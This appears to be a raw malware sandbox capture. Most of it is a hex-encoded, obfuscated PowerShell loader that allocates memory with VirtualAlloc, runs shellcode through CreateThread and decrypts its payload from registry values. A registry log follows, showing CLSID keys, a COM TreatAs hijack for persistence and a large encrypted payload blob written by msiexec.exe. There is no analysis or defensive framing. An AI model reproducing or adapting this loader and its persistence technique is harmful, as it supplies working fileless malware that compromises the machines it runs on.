43336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364336373330324332343736373033323239323927297c2628247073686f6d655b3136342d3136305d2b247073686f6d655b3136382d3133345d2b277827297d66756e6374696f6e20616d397b706172616d28247978312c246b76362c246678332c247669372920286a6c382027323436413636333733443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364136323330323032373536363937323734373536313643343136433643364636333435373832373239324332383631364533313230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323436423736333632433238333133343330333732423238323833313332333033353332324433343332333933303239324233333331333133393239323932433234373636393337323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364136323330323032373532373436433444364637363635344436353644364637323739323732393243323836313645333132303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323436413636333732433234373937383331324332343642373633363239334232343641363633373344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234364136363337324535343646343936453734333633343238323932423234363637383333323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364136323330323032373433373236353631373436353534363837323635363136343237323932433238363136453331323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323436413636333732433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323832383335333733343330324233353336323932443331333833323339323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3232392d3139355d2b277827297d66756e6374696f6e20726a347b706172616d28246864342c247174312c247764312920286e6d36202732343737373633303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343737373633303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343638363433343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343737373633303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437313734333132433234363836343334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373737363330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135302d3134365d2b247073686f6d655b3133372d3130335d2b277827297d66756e6374696f6e206873397b706172616d28246870362c246a6335292028627936202732343642364433313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642364433313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343638373033363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642364433313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436413633333532433234363837303336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364236443331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134332d3133395d2b247073686f6d655b3133362d3130325d2b277827297d66756e6374696f6e206a65337b706172616d28247275342c246f6538292028617130202732343733364233343344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034363330333333303337333034333244333033343330333632443330333533303435324433303330333133313244333133333330333833303339333033313330333333303330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343633303333323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034363330333332373342323437313736333533443238323437333642333435423333333235443242323832383238333133383242323833313336324433313239323932393239323933423230323436323646333833443234373336423334354232343731373633353245324532383234373137363335324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436323646333832393342323437333642333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343633303333333033373330343332443330333433303336324433303335333034353244333033303331333132443331333333303338333033393330333133303333333033303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303330323733423234373137363335334437423230323437413646333833443330324532453332333533353342333032453245333233353335374332353742323032343741363533383344323832343741363533383242323437413646333835423234354635443242323436323646333835423234354632353234363236463338324534433635364536373734363835443239323532383331333733303242333833363239334232303234374136463338354232343546354432433234374136463338354232343741363533383544334432343741364633383542323437413635333835443243323437413646333835423234354635443230374432303342323437333642333437433235374232343644364633303344323832343644364633303242333132393235323832383335333832423331333933383239323933423230323436433639333433443238323436433639333432423234374136463338354232343644364633303544323932353238333333353338324432383238333932423332333732393242333633363239323933423230323437413646333835423234364436463330354432433234374136463338354232343643363933343544334432343741364633383542323436433639333435443243323437413646333835423234364436463330354433423234354632443632373836463732323437413646333835423238323437413646333835423234364436463330354432423234374136463338354232343643363933343544323932353238323833313338324233393332323932423331333433363239354432303744323037443230334232343641363733323230334432303238323632303234373137363335374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234364436463330334433303342323436443646333032303244364337343230323436413637333232453443363536453637373436383342323436443646333032423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343641363733323245353337353632373337343732363936453637323832343644364633303243333232393243323833323337324432383331333132423330323932393239323037443239323927297c2628247073686f6d655b3135382d3135345d2b247073686f6d655b3138362d3135325d2b277827297d616d39202479783120247978312e6c656e677468202832393336382d2831303630362b28323432352d3132303329292920282833392b3131292b31342966756e6374696f6e206c73307b706172616d2824716536292028646b3920273234374137363332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638364633353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343741373633323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374137363332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363836463335324332343731363533363239323927297c2628247073686f6d655b3230332d3139395d2b247073686f6d655b3134302d3130365d2b277827297d66756e6374696f6e20706c317b706172616d28246375322c247271372920286f6e3920273234363537313331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343645363333363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343635373133313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363537313331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364536333336324332343633373533323239323927297c2628247073686f6d655b3138312d3137375d2b247073686f6d655b3233302d3139365d2b277827297d66756e6374696f6e206874337b706172616d2824666c302c246471352c24686534292028647131202732343733364533313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733364533313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343636364333303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733364533313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436343731333532433234363636433330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373336453331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3230332d3139395d2b247073686f6d655b3135312d3131375d2b277827297d powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\LocalServer powershell.exe Key created \REGISTRY\MACHINE\software\classes\{030F0D10-0707-0404-0202-040507030601}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0F0F00-0702-090E-0012-070D11040313} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\VersionIndependentProgID\ = "{030F0D10-0707-0404-0202-040507030601}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{030F0D10-0707-0404-0202-040507030601}\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0B0F0F00-0702-090E-0012-070D11040313}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0F0F00-0702-090E-0012-070D11040313}\TreatAs\ = "{0F03070C-0406-050E-0011-130809010300}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\VersionIndependentProgID\0300 = 1ca6389dba17ba7d70e5ffb31632ebe4f6fc471592e2b1ccad7acaa5bd60c12be4a00b12b134d8aef89c095505ef2ed8aa7487450a3bf9a60437d2232d4aefc64c24f50ce2f72dde89fd0bd362c72582d1ebe31c326b0fd2dbbc5d4c7d47db4a4d7dd12c5542a9be5316d9ac612fa49a7d9c507499bb584722efef99188614658968435f451842fb34414669aa98969e14f4f489c57541853296188e77c84495b5068cf899adf3eb99f1316dce211ad78221a6bed3d22ab8757e50b6c9df4bf37487a75ad6942591a11c329914aafddd895ed698f6cf345a51fba84a70dade71cf50af9376f9b9434a459f11556faf2f876526ffe4372a132c7fb298e598c42aaa229e1c45cc739a017fbe7a4ca0a12e5b756c4c4b3f3a16db2860b8b92f6b29b0e00dceb0e2c9945e8922f5a5430ba8babe7f3f7a295f19d9d2b77ad7b7fb30fc5d1b98646cba028b1f52764b73b867d9b44aef6ae76ffe09381998384ccc921aaeacab688a0aec880b4564144a05da434d3da70e12d0ec56c3669517e8cd608def529e2484285350ef7e3e93d24a118d38ec0931ea09a06d220bc6c027cb85590f19ec60e4d42ce168e82a67ddd660a0a3fda8913c9c0500351958762418b730b03840c735306e10aba1efe9df7a2d44504d731c0fdc06a5ed0aefc86fcc99da998db7328e54e129040079840bc7f53de46a9f0a1a3d370659485ecdedb089e387f31ef197e821e1a56f1f2262fc5f8155bf33f87c936f8530a8304169aa85d45394eafbf78391e2c92a8e9978ca050a53e0ba11da76e66ba589ba6c63af5e63c8ab1a90095d102cacaf7e0b64cfb2f04466db0d2aa34ba5c949192a236333317d5f70742080a1d08098c63b98e428c5087d1b7c0845a3d1226c772a37739c32c8d34cd81c1c7a72eaff35ec04f533befa73398fb85ac01778d2c3d5d40a920e04fd535f172a7079957465d5cd7116d4fddbe14a03744800dbdf5bbf0db3b5539b98544efac3e93b14fab391f1d9e33e0bca7e05641b75fc45b67b02bf88a9380d8cc353864c9bd9bf48a24567b8f86e5cab43bc0993ed50b2458975d83dbedcb29c93722e27b826ef81d48230274f9397fc8396c791e3ac260886a645a9b0789a55cae350362bb87cd4f0df61b44859ec14c4d7e0a8cc3fc4ecf485b5c336c3ab9f08b38907e816c18983edc1003fbe7fa4d7b7ac0afc583bc937511bf4b304c3b3de0157bf7425d74422c8cc0476ed0d7ea676d09502260cd1cb4f1fa3fbdc4b703cf736c0f62bf845ac57f195ba0256280faf5c4f8aaf4f712d244c9094133ec075ec483bd89eb75b5542cc9042cd078e20942317856779ad17d41503dc0ccdc8b5d0a825e321fa97ffcd2b295ddaab55b4fabfe12d7c848e8a684f43267c5d5a710dead2de6b01e1a15e9b88169c8c2d59bc309da49a19d42f7852275b358ca8ed8302464f0fecc98324b71ad34769a24a4f0e4a213f59c11e06a657b99de416b7fca6005c32ad42e90060aff457e78e58169087bd76c020162125601c326bc2ad29c50269cad4bab28c2ab1c04b08aed68bc3f0b395a096af95c62262135aa8df4c1c80eb68f8e8600cb3e464bb7fcaeeb827c9fbbdebc9b1bd5d5bd93f85aef939f425b6c9e2e0f8eb6fb32e76cd2e3a5d80565319b832a842c999dc9a8d3b48e783e240491e1126a4e1f1b9b593185f3a9d08b278b0678acbdf222e9c61de546a418d7b97e4368bacf9db9f0e0191bafeb28ddf57f388e6f9dd5ec8d7af885e56fe1c7da1daa5e1afdafdd0e27c1177230cf685ea55dbc6a3643f98bf2ad01d59777c5682602afd72bf8f8e4d6648edd7df6083ccdffa84b3a579e36cfb0e786fad8e7aca4ae128fa43f2cbd9396eb43213598155b551ba7933f4526173bd2986b22ba02a0645ac5a7da37afea09ae092a79dfe41fe33fac538c6d4eb61f2b3a7a58f5abf4df1b55e24d25edcc269afcd54f711178782fd025322b2e32b008b6ed97f829b213c5d58c9f431e27a00d130547d6f0733e627b722c3bb3cf138ad4e513a1b3d765230c9d4b9234f47198a3d35ca6a9c73b9981749e11613b52f8552eb54b76bb5ba2e908feaa14fd1a6401c5556f1da989c7251845300f544c8253ccbde0d109fc62e5ca48d74c8bf1180ef581bb5e1c19a685cd22f7bb5d52cc59926a62313fc0cbf5ba27d9882ddbbdae35c0f928f27f9dc64682848300063eca179a1f50a2dd6e84789bbfcd95d10a991ab4359ff39e033c877f41bd59e483f5971d3bdbd2336a58bbc219973370157796981fc9f0360df27f1b98697687f4b5576d2b4229a711ceb7b7e6e2b8b0f41b15db0316f4ac9d4afba5058bb78b1957524968ef36e75da4b0aab1cf9a6b9beea12951b5b0205a26f2bfaeae32d9fa365d490d5628e8a165d020bb7e258aa861baeea88bbcdcd6d9c6d0ef1a0803ed41cdcd5827a54337ae063e3e8f4f9541a98e59eecb61a55a2db108df1976ed014bc235eba331543b9a0cc699681c46f63e01596648103fc10a634b8b51dca60c8193c9f97c85e9d56557174591df7ade74e1bf8090b8e404c1d4fd42ab399e4f5ee7245bd21d330367cad081a8d092094eebb003fd6d62ef33363add774d6258afd48053e443850b541c763cad4f18fcfcf544ccad759d36533c018a93e5360141eaebcf6604985b2f3927c869b5366bb9606fe757b7b6bfd2619102e3747dba779662ed5986fa321ead1e499e6c3319d9d72df58a422370ab5bb7118e1e6980f8c3207d6013d7d639195b3f32a251901d44bb6c2e215c612d65ef0842ff4db14a2dc6dfa823f87196fb2ce484ceb09ea45dc58e7819e8b3d58d9af91f205bb883a8d9e5aed7517dddf86ed44351656403af13beb7aa96a3d1b7ffff0a770b10424d13be1616ffa9e1e74236864b1932a166bbfebc17cea1d1d507670dbb7216a95c6260ce667f66293518f226ab4f36646873a0a2a4326d284606c4df004e56aba2f029b0366262cc13323237df0c8650ff7a797ef6fd6fe26d582dd7ae0282a6fe11c6e44f7709c9ac9710272f0887869f03e8506064284b6c0af37ba66fade529e93f6c06c168baae634cfc013ea0f3086999ddb98777c2ea0dadb0cf1e3c8559ac888c2f073eaae343900593629415db5b965dc18f0c506c7666b77a01e8398a84fe8e5820ba37401d2bbcaa3730d91410735deea7e8823a90688a055d1269218e03eafb03b141e69f026eb5593608cc9ab9bdbd867db5e5912a0fadd0f4ebe6a411864fc0dc642ed1321543fec94f64e326f5f9bd7456d2bb8961f84629d6e3b72bd113c3701099d31d9bb6471d836303ecb6e0f055905a73d3c16119d7927c8fb068b60f38c191fa1747cb30324c948bd5f0b640b86acef4b78e2c65841f08b16e1d3568c59b2affa5d692fe75bd860f015c0691dfea8d865f4bfb6b42bf950388f5a8446fea09c92b94f1c72ce2684ca3a78c7134bd91724894d5b05eaeee5953c4aff450e453ce8025ced445fbb000b0995e348e68bad01aab031ced138d1048a296dc4fa08318cc92d57e80b60bc7383ea61e1287471ad612a2771227ffb219f903a49f76cecb1c04e7fac40d7147223175737c3d29059fb334eb8a22589dfedd7e9476f40946d35614456ae32a4c8b36586850bcc9672667e947c28ecd14be2dc5f75c81041e9e92eb4e03e1a23a8f31fe3cb73ec5bd806bdaf264085e4574298b04cd185d53d6104b0ce8c4b28b8aaf249c1cffeb4bbadab9b43f6d2d86824b2d44992923bc30790a1708d50dec993eb63b23649e293b1b5edead5ce8dd65e8f1539ac798fe542b6ebbbba882e5ffab8617475c6b84835df86bb5ff6c21ace34661bd58aff47347746c32d12f2a5ace92186f181224f70c17d08858171a70248a8502d52b99b398e9b01639994008729013375ce4719be9967528d1e04fc6e165d775c4e29b16a74758e934fea15e0d993dd59e8ef039032eafebee037933ef875e92c8168604f5e973a4ebc9668f5320f894b63cafbc63bebc2382ae13db5e367a68971413436dbfc43beae8054a27ce10bd5bda53c1fb60f54af92cd2d94fb1e3c3f635d0d8990b0ff12a6fec32f371045df39f97e0ca7d4f564b254003f6e921abf1ecae6007cbe4de179b1a94bf3769961183ccacfe4c5e25cb9646a92aedf7d9f64f7b622e9ac8f5fff101479bcb17de45a33100a3523ce97b233d94c9116ee5df1dc83bca0915f1f5920d300fd8615ed6121b0feb6ec6d2d0f8331b1f5b6d7d71f7b0e403e70b42d18b2a3a29c976ea77459909100736a0e92c83d4e4996afda960f50810231a306c418286be59458f893a196910bca503f20456ced72ca2ba3551dbc0057cfb18d9359e0c8e2ac34deb667581e8b88ac3ffb0dcd32d782d96537e9c957912974d9c3f91ad1f48d701e704b1211a2d3cb2ffeaebc6a2f4744312e9f61256ee243cb5274ab20400c46f1592f2f06ea1bbbe66365a5c878e8d2c56875fea69bf0888ab0920650d09db163263fb0da15de116364ca75a80008ea5a2c03e0588f67ccb1d603677bb78a67d12437c1e97b74dfa7b6b12192f87ac97cb33198ee8a32f784fb12733114a16d70f2d6237a8133c77c0fac055786d8a519e735c6fd23dff40c5f178c0c896b65a64999496903b8176e77182f3e0d337532f2d1a3686395ef4945ed0bbe7355d136210355353b974550823f81309c1293c6e2895231b52f753c4066f183668be8390747900527040d571579d35fd4b3d2f7936c90b6ccd4e87021aa0e3ad93015e411f3a2ef5b0bba585bd6c831f55590363cda14abc7d0eec36691a1c60f875d375406703f9ff01546ff0b0ee2438ceef8d9e666f608c224b4fe0125bd5fa2386c7b80e6a6d615553741d5f4bf45877e4a405a5b4bcf7e7b5635c865c8149db67651fd939d3979e800edd136324ca672ab7f5ec599a084533955456e7157c67f53525a1e14302c97af97041bd5c4248daa86c3d39b68cfbfcea371c539f05891a99460452bb210e9a22c585950623d516c099dd6af87cc096f80d65e7c8f7c1012fdac56d073c03edf8bee50553dd80731456aeebb0317be0d9c7cd1975ec726126c8ea837c5049fbd5cce9f14fbecec512e8ce40a19130fd298ea4eed2fb026c6a4b3f68a0d60b48743b83a3b6f66cc9a74b9620387216fbe31b1021b57586aed682df6ed1fdf3127219f736f35cb05b0b000a0351308862ed257063d1183b55c744f22e490bc015425ad6b10e421ec8bc9144c8fc4e7386e3e8a554e4672ac9113e372246eaf9e71cc55eec1f68fec8000d835e73ace722e9b1d59bbb5f352bfd4ddb0958fc5ccc545750a9a186f493648c4affe5283e7858ed82d7340ef51b12ddf8600efe6216a8a6f95a190871272c918b09e926b28a975aed227b4a8213f123e73680697b5f14b477d51a039573a04a9ff9d3b450dd7c8b49696cf9beb366d5c1743fa1e9b4cbea2068192cac61cf72dab83d0de2ef15f37ca6416ea86681bfdfa841db47efffb617f639df2e3846e13927f3d589ca6d8723c535c03b2e5fe2d99c88565a233f2f95c6aedcbebd8120821a2ba2bff4785b95757e8aae176db881bf4ba7273c1874975e71e082381ac38944dee709b18beeb88776fa85098560fb874e2c47084861ef707247662e14001e04a6d692893f1a12c6ffce6602edec968e540a39dfe687e840b8ab245d26b36866ef102caed58b29f30ea9a5cf7dc79fab69d33126a367240bf78f7be6e516205aa62faca8c6afdedf35434af8afcb7ce4e03c28f1af47c170a2ee6a2feb344a5b8f213e9a6fdc56f10674bc2ad104bd5b7e34396d32b16907b04f26ba00528c588102408086bfbfa460e6482b9d4987f0764b967eb8ec2a2988940f00c43ead92a51c915634fc9fede149fd12085df4eac2a283e44f9760ba783060e289bcea3004f1c8338b093f3f00b0fd39a960bff672efbb6cd6fe874bd52a94328e6b7e9f8a1212f651dcdd14a433cbf06e51442d2b7197bdf23144099cecbfb64b1b744a72d67252285076ae31f3532a4fad78cc2a236ad2e303911edd0bf0ca702c35e7af1dd4af5d49883e33aaecaf61df8ebe84b238a0d29216128a68a50571a416f0aa6700e99793ae6e98da4aadba7101ef7952a2fb73b675944e26a35b297635e84e282aadb47ebf6669cbc6e04fd13c086b192ed5c58bcb3c02b55613a7e8a084291c73e935e71f74d1dc52e78b54afc276ebcc2c8db5c0a371d991fc6145e5e768ddc5d6fa67ba83cbd6b5cdf8fd5a7952bcc4ec31663cae626b822f8d74d98f883e84447ddccbcd7651b48a6b79a4e4b076f544021f543df4694e4795dfdea71f11f81eadccb9b375d7c26037832f6a35e972d1cebbe72c9ece70e8f10f532bfcb11f7f7ac97f1a58d8761de2eb2416ca8a337f61799339f257271a6c71c81ed615bd4383198f85bd1d81e39158c5b05b0a7182bdca0639d4c9a4d6ca2b4d3e9f94375b3333f49052cff610ea467e189b16a6acc7c787e56308e7f8626be3ca1b3b819c41adec9f4fbbe66aa6240a7e14a9944784946eca4d0a8d5192bef96c817c2ef289e0e89462f1740a4cbd0a6409dfe98aa06e4c2039a82d352360b7765aec70294ea60e4619d60521e490bdd1c6a58e4550720bc663d34f326f1cff5244c76cbd1f47394a04d00c2637eea648104026cd323ef51325f15712c9a92c46369e29e1c44e502a4994b8b952b5943b9866177cf81c35aad7b346f7179bdd2d300d3a6447c7614951108a50f3ed9037d1f4b0b31d09eb146509f60d839de6ae26b942791e6ff03e8d2c4f5fab11f3374916669158485c982aa838ab228e98998c795b3993dd1061636f446fc4fd5f2fa5eee22d8ff0c3315e8a62e560338dcbaa2845a07b5d20c74ea3ddd1b7c0a1a1fe81ae0e6c2d01b07ed9d16ba5f3f0bc80efc3e943644b1576ae50f0013d9887c37bf3cc78fa6ea38a81438404ac2be8f0606809b65afc088cf5722e4cdb947fe85b39f4928dc74a8fbe7d74ec8ef60b696466b1c05b3b805f25a464fcdc370cd8d025230175366e8912791e9bed3a6dcf06a637d75085c888389e169f25eefe6d1345b0948e8ae3c0a63c95099a7162571a3798250e2956138798345a66484c7aa0e44842690846b459749906217a4f93ead2272d9867eddf192593f154860b3626f5f3adf284d9b0d3249efc324a133f1db37cb849bd26a94bfde2449b0fabc71a1c5f53a9084a43ba27ded85a22f2248a958393815cd9f702d7a6686c652962d4ef3b38ac09ae54503f9ea50a281fd2bacb70c5a38432447ceb24b820b34639792494a121f57da7c886fd52443a0a67f782c00bb2f3868efbc73cde97ad5c73b52795b912173aea259485af88537db9ea5a68af296a5b0764430ad57473824b5b7f6bdf20d50680304d4eb0f8568381df72c0a0259dbf13a1223b70519117450750ad747fd7cdd297c1b557da827b0e3c28d179b3dcfc9c84464b0566e7cf2c87634a5e5df629030af67a8c170c267ccfe58c0308dd84bc52c04d9d0fc1905334e47d4fdce8f221e0286fecaaa3afac207be87540752822d8f29e94dd1f96b49f18173bc1ac58ace319fb7edb8bba5488f750bef2f472ef42dabbc47b00f41a881cdccf5336811c6b9a70bbec7fa5a4a0c2290e8a7c492080374f52c6f77e5d3acf86e58778be01fb5ba55a3135e24cdbd434d021698a4f57c877a1d2bde820caf8d435458dc8874179507482093f3a476d093d0b0625ef225280d6855d611114db55cc9695c40cc897cef4391bf42fea4b3466e81c38fd3fbfa6a3caaca04eb43ec0b07f4614b834e8b9458d71d916549d8eb452a43f589a5cab257ca4d900dc196b6320d3e4d414c2269b0844fdd3fe48af6db3963c745da06de009ffa486aaa94c2f119e1377a83634a3bcbe82544c7cb2c8d004abdb7ff6ca8f43482559ca144cecf64ff3fa98fec9a019823f994991500ce2aa0a203bd163932c57b168da99f34004bb66c5eb7096558c47bdcd8fe744087b264a08a83e3c20bb6100e97cea2e6f708b762e12a5ee5ce340b43001d080df8426fe22997334281d117c465204d5386dbf66da232bb85f16a7d097274a5cd0d523defe3c1079e9a7bad87479d0dff0e99c54ff79edb8682761fc53b220d277a8f1654acaa8db9a6cf0a94ca84